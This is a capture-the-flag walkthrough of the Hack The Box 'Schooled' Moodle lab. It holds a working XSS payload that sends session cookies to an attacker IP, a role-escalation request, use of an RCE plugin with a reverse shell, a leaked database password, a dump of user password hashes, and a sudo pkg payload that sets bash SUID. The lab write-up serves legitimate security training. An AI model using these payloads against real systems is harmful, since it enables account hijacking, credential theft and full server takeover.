HTB Walkthrough : Schooled

Today we are going to solve another challenge from Hackthebox schooled . This lab is based on moodle CMS exploitation . Moodle is a learning platform designed to provide educators, administrators and learners with a single robust, secure and integrated system to create personalized learning environments.

Level : Medium

Attacking Strategy

  • Network Scanning
    • Nmap
  • Enumeration
    • Virtual Hosting
    • Enumerating Webpages
  • Exploitation
    • XSS on moddleNet profile
    • Cookie Stealing using XSS
    • Account Takeover
    • Administrator Account Exploitation
    • SQL Data Dump
    • Cracking Hash
    • User Flag
  • Privilege Escalation
    • SUDO rights on pkg
    • payload design
    • Getting Root access
    • Root Flag

Walkthrough

IP Address : 10.10.10.234

We start with nmap scan with the -sC for default script scanning with banner grabbing by passing -sV for the TCP scan on target .

nmap -p- -sC -sV --min-rate 10000 -oN nmap 10.10.10.234
# Nmap 7.91 scan initiated Wed Sep  1 20:35:45 2021 as: nmap -p- -sC -sV --min-rate 10000 -oN nmap 10.10.10.234
Warning: 10.10.10.234 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.234
Host is up (0.100s latency).
Not shown: 61894 filtered ports, 3638 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000

Here we are able to identify three services running on target . HTTP on port 80 with SSH on port 22 and on port 33060 some SQL .

Enumeration

Nmap show the result on port 80 that some school website is hosted so we start enumerating the website where we got some staff information , Some contact details and a domain “schooled.htb” . So we simply added to our hosts file .

After spending some time on website we didn’t get anything so we try to discover some subdomain on server . Gobuster tool plays the good role in finding the virtual hosting so we simply fire the Gobuster and discover new sub domain .

gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://schooled.htb -t 80

Here we get the moodle domain so we simply added to hosts file and then visit to new domain.After visiting to domain we discover that moodle CMS is used here , so we simply google it about what kind of CMS its and some exploit also. On the default landing page we also discover some teacher name .

After some investigation we didn’t get anything good so we create the account on moodle CMS .

But when we submit the request it show as error about the domain service i.e schooled.htb is not allowed as email domain.

Here student.schooled.htb is register so we make the changes then simply login into to portal.

Once we are in there are some courses on dashboard like math,English , scientific research and IT . All courses doesn’t make any enrollment except math . After enrolling the math course we see the announcement from the professor “Manuel Phillips ” .

This message give us a hint that something we have to do with MoodleNet profile and professor also say about checking the profiles it means they gonna check out the student profile .After google sometime we get to know about XSS vulnerability in MoodleNet Profile Field . You can read about the vulnerability here .

Exploitation

After reading several articles on this vulnerability we start exploiting the field. For that simply first put the XSS payload on MoodleNet Profile field .

<script>alert("1")</script>

When we refresh the profile , code executed every time its means we have stored XSS vulnerability here .

Now what ! we recall the professor message which says about checking the profile , here we can steal the cookie of professor . Once we got cookie we can simply hijack the account of professor .For that we simply host a temporary server and make the XSS payload . you can also use web hooks if you don’t want to host the server .

<img src=x onerror=this.src='http://10.10.14.46:8000/?'+document.cookie;>

Now we here we simply enroll again the math subject and wait for the professor to check our profile .After some time we have call back request and we got the session value.

Once we have cookie we simply make the change in cookie parameter and then refresh the page.

We are in successfully , here we stuck for sometime because now we need to bypass for administrator account to get the revere shell by uploading something .So we start again looking for any vulnerability and after some time we get another vulnerability in which course enrollments allowed privilege escalation from teacher role into manager role. For more you can read here about this vulnerability.After reading we start enroll the users from teacher account , here we choose Lianne carter account as she was listed as a manger that is shown on landing page on port 80 .

Once we enroll we intercept the request using burp suite and modify the changes like user_list value and role assigning value and forward the requests.

Note : User list value can be found on visiting the profile of professor .

Once the request is successful we can see that we can now make the login as administrator .

It also show the security warning also about making the login request with user Lianne Carter.Once we are in now we have administrator access to the account we can modify anything or upload some stuff .For administration work we can simply navigate to site administration where we can make the changes.

We simply visited to upload plugin page but then its not accessible .Now again we start enumeration about the service and roles but its very complex so we simply search something very easy where we land on GitHub page for exploit but unfortunately it did not work for us. After reading the exploit we see it make the changes to role permission.

Here we go to define roles and make some edit the values but there are lots of roles and values which confuse the things but from exploit we also see the same things.

So we make the change request like changing the name and then intercept the request with burp and replace the request content with exploit values.

POST /moodle/admin/roles/define.php?action=edit&roleid=1 HTTP/1.1
Host: moodle.schooled.htb
Content-Length: 39829
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://moodle.schooled.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://moodle.schooled.htb/moodle/admin/roles/define.php?action=edit&roleid=1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: MoodleSession=dpp8iib3841p75esqr3u5kmq8j
Connection: close

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ess%2Fseb%3Amanage_seb_expressionsallowed=1&quizaccess%2Fseb%3Amanage_seb_expressionsblocked=1&quizaccess%2Fseb%3Amanage_seb_filterembeddedcontent=1&quizaccess%2Fseb%3Amanage_seb_linkquitseb=1&quizaccess%2Fseb%3Amanage_seb_muteonstartup=1&quizaccess%2Fseb%3Amanage_seb_quitpassword=1&quizaccess%2Fseb%3Amanage_seb_regexallowed=1&quizaccess%2Fseb%3Amanage_seb_regexblocked=1&quizaccess%2Fseb%3Amanage_seb_requiresafeexambrowser=1&quizaccess%2Fseb%3Amanage_seb_showkeyboardlayout=1&quizaccess%2Fseb%3Amanage_seb_showreloadbutton=1&quizaccess%2Fseb%3Amanage_seb_showsebdownloadlink=1&quizaccess%2Fseb%3Amanage_seb_showsebtaskbar=1&quizaccess%2Fseb%3Amanage_seb_showtime=1&quizaccess%2Fseb%3Amanage_seb_showwificontrol=1&quizaccess%2Fseb%3Amanage_seb_templateid=1&quizaccess%2Fseb%3Amanage_seb_userconfirmquit=1&repository%2Fareafiles%3Aview=1&repository%2Fboxnet%3Aview=1&repository%2Fcontentbank%3Aview=1&repository%2Fcoursefiles%3Aview=1&repository%2Fdropbox%3Aview=1&repository%2Fequella%3Aview=1&repository%2Ffilesystem%3Aview=1&repository%2Fflickr%3Aview=1&repository%2Fflickr_public%3Aview=1&repository%2Fgoogledocs%3Aview=1&repository%2Flocal%3Aview=1&repository%2Fmerlot%3Aview=0&repository%2Fnextcloud%3Aview=1&repository%2Fonedrive%3Aview=1&repository%2Fpicasa%3Aview=1&repository%2Frecent%3Aview=1&repository%2Fs3%3Aview=1&repository%2Fskydrive%3Aview=1&repository%2Fupload%3Aview=1&repository%2Furl%3Aview=1&repository%2Fuser%3Aview=1&repository%2Fwebdav%3Aview=1&repository%2Fwikimedia%3Aview=1&repository%2Fyoutube%3Aview=1&block%2Factivity_modules%3Aaddinstance=1&block%2Factivity_results%3Aaddinstance=1&block%2Fadmin_bookmarks%3Aaddinstance=1&block%2Fbadges%3Aaddinstance=1&block%2Fblog_menu%3Aaddinstance=1&block%2Fblog_recent%3Aaddinstance=1&block%2Fblog_tags%3Aaddinstance=1&block%2Fcalendar_month%3Aaddinstance=1&block%2Fcalendar_upcoming%3Aaddinstance=1&block%2Fcomments%3Aaddinstance=1&block%2Fcompletionstatus%3Aaddinstance=1&block%2Fcourse_list%3Aaddinstance=1&block%2Fcourse_summary%3Aaddinstance=1&block%2Ffeedback%3Aaddinstance=1&block%2Fglobalsearch%3Aaddinstance=1&block%2Fglossary_random%3Aaddinstance=1&block%2Fhtml%3Aaddinstance=1&block%2Flogin%3Aaddinstance=1&block%2Fmentees%3Aaddinstance=1&block%2Fmnet_hosts%3Aaddinstance=1&block%2Fmyprofile%3Aaddinstance=1&block%2Fnavigation%3Aaddinstance=1&block%2Fnews_items%3Aaddinstance=1&block%2Fonline_users%3Aaddinstance=1&block%2Fonline_users%3Aviewlist=1&block%2Fprivate_files%3Aaddinstance=1&block%2Fquiz_results%3Aaddinstance=1&block%2Frecent_activity%3Aaddinstance=1&block%2Frss_client%3Aaddinstance=1&block%2Frss_client%3Amanageanyfeeds=1&block%2Frss_client%3Amanageownfeeds=1&block%2Fsearch_forums%3Aaddinstance=1&block%2Fsection_links%3Aaddinstance=1&block%2Fselfcompletion%3Aaddinstance=1&block%2Fsettings%3Aaddinstance=1&block%2Fsite_main_menu%3Aaddinstance=1&block%2Fsocial_activities%3Aaddinstance=1&block%2Ftag_flickr%3Aaddinstance=1&block%2Ftag_youtube%3Aaddinstance=1&block%2Ftags%3Aaddinstance=1&moodle%2Fblock%3Aedit=1&moodle%2Fblock%3Aview=1&moodle%2Fsite%3Amanageblocks=1&savechanges=Save+changes

Now again we visit to plugin page and this time we can install the plugin . After searching on google we got the exploit plugin and we can use it .

Chose the rce.zip from the exploit and submit it.

Once the plugin is installed successfully , make the request to installed plugin and this plugin consist the PHP payload which will trigger .

http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id

Finally we got the command execution on server and revere shell on netcat on port 1234 .

Privilege Escalation

Now its time to get the root we start enumerating server like users by checking /etc/passwd file , some history file , or config file , etc , after searching lit bit we get the moodle config file in which database user and password is listed .The file is located under “/usr/local/www/apache24/data/moodle/config.php”.

<?php  // Moodle configuration file

unset($CFG);
global $CFG;
$CFG = new stdClass();

$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (
  'dbpersist' => 0,
  'dbport' => 3306,
  'dbsocket' => '',
  'dbcollation' => 'utf8_unicode_ci',
);
$CFG->wwwroot   = 'http://moodle.schooled.htb/moodle';
$CFG->dataroot  = '/usr/local/www/apache24/moodledata';
$CFG->admin     = 'admin';
$CFG->directorypermissions = 0777;
require_once(__DIR__ . '/lib/setup.php');

now we have username and password so we simply dump the data from databases.

/usr/local/bin/mysql -u moodle -h localhost -p -e "show databases;"
/usr/local/bin/mysql -u moodle -h localhost -p -e "use moodle;show tables;"
/usr/local/bin/mysql -u moodle -h localhost -p -e "use moodle;select * from mdl_user;" > user_dump
id	auth	confirmed	policyagreed	deleted	suspended	mnethostid	username	password	idnumber	firstname	lastname	email	emailstop	icq	skype	yahoo	aim	msn	phone1	phone2	institution	department	address	city	country	lang	calendartype	theme	timezone	firstaccess	lastaccess	lastlogin	currentlogin	lastip	secret	picture	url	description	descriptionformat	mailformat	maildigest	maildisplay	autosubscribe	trackforums	timecreated	timemodified	trustbitmask	imagealt	lastnamephonetic	firstnamephonetic	middlename	alternatename	moodlenetprofile
1	manual	1	0	0	0	1	guest	$2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2		Guest user	 	[email protected]	0													en	gregorian		99	0	0	0	0			0		This user is a special user that allows read-only access to some courses.	1	1	0	2	1	0	0	1608320077	0	NULL	NULL	NULL	NULL	NULL	NULL
2	manual	1	0	0	0	1	admin	$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW		Jamie	Borham	[email protected]	0											Bournemouth	GB	en	gregorian		99	1608320129	1608729680	1608681411	1608729680	192.168.1.14		0			1	1	0	0	1	0	0	1608389236	0						
3	manual	1	0	0	0	1	bell_oliver89	$2y$10$N0feGGafBvl.g6LNBKXPVOpkvs8y/axSPyXb46HiFP3C9c42dhvgK		Oliver	Bell	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608320808	1608320808	0						
4	manual	1	0	0	0	1	orchid_sheila89	$2y$10$YMsy0e4x4vKq7HxMsDk.OehnmAcc8tFa0lzj5b1Zc8IhqZx03aryC		Sheila	Orchid	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608321097	1608321097	0						
5	manual	1	0	0	0	1	chard_ellzabeth89	$2y$10$D0Hu9XehYbTxNsf/uZrxXeRp/6pmT1/6A.Q2CZhbR26lCPtf68wUC		Elizabeth	Chard	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608321183	1608321183	0						
6	manual	1	0	0	0	1	morris_jake89	$2y$10$UieCKjut2IMiglWqRCkSzerF.8AnR8NtOLFmDUcQa90lair7LndRy		Jake	Morris	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608380798	1608380798	0						
7	manual	1	0	0	0	1	heel_james89	$2y$10$sjk.jJKsfnLG4r5rYytMge4sJWj4ZY8xeWRIrepPJ8oWlynRc9Eim		James	Heel	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608380861	1608380861	0						
8	manual	1	0	0	0	1	nash_michael89	$2y$10$yShrS/zCD1Uoy0JMZPCDB.saWGsPUrPyQZ4eAS50jGZUp8zsqF8tu		Michael	Nash	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608380931	1608380931	0						
9	manual	1	0	0	0	1	singh_rakesh89	$2y$10$Yd52KrjMGJwPUeDQRU7wNu6xjTMobTWq3eEzMWeA2KsfAPAcHSUPu		Rakesh	Singh	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608381002	1608381002	0						
10	manual	1	0	0	0	1	taint_marcus89	$2y$10$kFO4L15Elng2Z2R4cCkbdOHyh5rKwnG4csQ0gWUeu2bJGt4Mxswoa		Marcus	Taint	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608381073	1608381073	0						
11	manual	1	0	0	0	1	walls_shaun89	$2y$10$EDXwQZ9Dp6UNHjAF.ZXY2uKV5NBjNBiLx/WnwHiQ87Dk90yZHf3ga		Shaun	Walls	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608381128	1608381128	0						
12	manual	1	0	0	0	1	smith_john89	$2y$10$YRdwHxfstP0on0Yzd2jkNe/YE/9PDv/YC2aVtC97mz5RZnqsZ/5Em		John	Smith	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608381193	1608381193	0						
13	manual	1	0	0	0	1	white_jack89	$2y$10$PRy8LErZpSKT7YuSxlWntOWK/5LmSEPYLafDd13Nv36MxlT5yOZqK		Jack	White	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608381255	1608381255	0						
14	manual	1	0	0	0	1	travis_carl89	$2y$10$VO/MiMUhZGoZmWiY7jQxz.Gu8xeThHXCczYB0nYsZr7J5PZ95gj9S		Carl	Travis	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608381313	1608381313	0						
15	manual	1	0	0	0	1	mac_amy89	$2y$10$PgOU/KKquLGxowyzPCUsi.QRTUIrPETU7q1DEDv2Dt.xAjPlTGK3i		Amy	Mac	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608381361	1608381361	0						
16	manual	1	0	0	0	1	james_boris89	$2y$10$N4hGccQNNM9oWJOm2uy1LuN50EtVcba/1MgsQ9P/hcwErzAYUtzWq		Boris	James	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608381410	1608381410	0						
17	manual	1	0	0	0	1	pierce_allan	$2y$10$ia9fKz9.arKUUBbaGo2FM.b7n/QU1WDAFRafgD6j7uXtzQxLyR3Zy		Allan	Pierce	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608381478	1608381478	0						
18	manual	1	0	0	0	1	henry_william89	$2y$10$qj67d57dL/XzjCgE0qD1i.ION66fK0TgwCFou9yT6jbR7pFRXHmIu		William	Henry	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608381530	1608381530	0						
19	manual	1	0	0	0	1	harper_zoe89	$2y$10$mnYTPvYjDwQtQuZ9etlFmeiuIqTiYxVYkmruFIh4rWFkC3V1Y0zPy		Zoe	Harper	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608381592	1608381592	0						
20	manual	1	0	0	0	1	wright_travis89	$2y$10$XFE/IKSMPg21lenhEfUoVemf4OrtLEL6w2kLIJdYceOOivRB7wnpm		Travis	Wright	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608381677	1608381677	0						
21	manual	1	0	0	0	1	allen_matthew89	$2y$10$kFYnbkwG.vqrorLlAz6hT.p0RqvBwZK2kiHT9v3SHGa8XTCKbwTZq		Matthew	Allen	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608381732	1608381732	0						
22	manual	1	0	0	0	1	sanders_wallis89	$2y$10$br9VzK6V17zJttyB8jK9Tub/1l2h7mgX1E3qcUbLL.GY.JtIBDG5u		Wallis	Sanders	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0			0			1	1	0	2	1	0	1608381797	1608381797	0						
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26	email	0	0	0	0	1	parker_dan89	$2y$10$MYvrCS5ykPXX0pjVuCGZOOPxgj.fiQAZXyufW5itreQEc2IB2.OSi		Dan	Parker	[email protected]	0											Bournemouth	GB	en	gregorian		99	0	0	0	0		6IwNTLYu1F22aFR	0		NULL	1	1	0	2	1	0	1608386568	1608386568	0	NULL					NULL
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28	onlineconfirm	1	0	0	0	1	qqy	$2y$10$YGUOYqM4vRc0/0SdK1f.0OmI718QRmPUiWSvRsV0/.UNTR3IcVP/G		qqy	qqy	[email protected]	0												BH	en	gregorian		99	1630657397	1630657638	1630657397	1630657433	10.10.14.35	gGTH6iA2ClG8RYb	0			1	1	0	2	1	0	1630657394	1630657545	0						<img src=x onerror=this.src='http://10.10.14.35:8888/?'+document.cookie;>

Once we get the hash of Jamie we simply crack the hash using john the ripper tool which is an open source tool .

with password make a login to ssh service and checking for sudoers file we see that jamie can run pkg command without the password .

After visiting to GTFOBins and search for pkg which show the method to abuse the pkg .

sudo apt-get install ruby-dev build-essential && sudo gem i fpm -f
TF=$(mktemp -d)
echo 'chmod +s /bin/bash' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF

Once the payload is created we simply upload the payload and install it with pkg .

scp x-1.0.txz [email protected]:/home/jamie
sudo pkg install -y --no-repo-update x-1.0.txz
/bin/bash -p

Finally we got root and collect the user and root flags .

References

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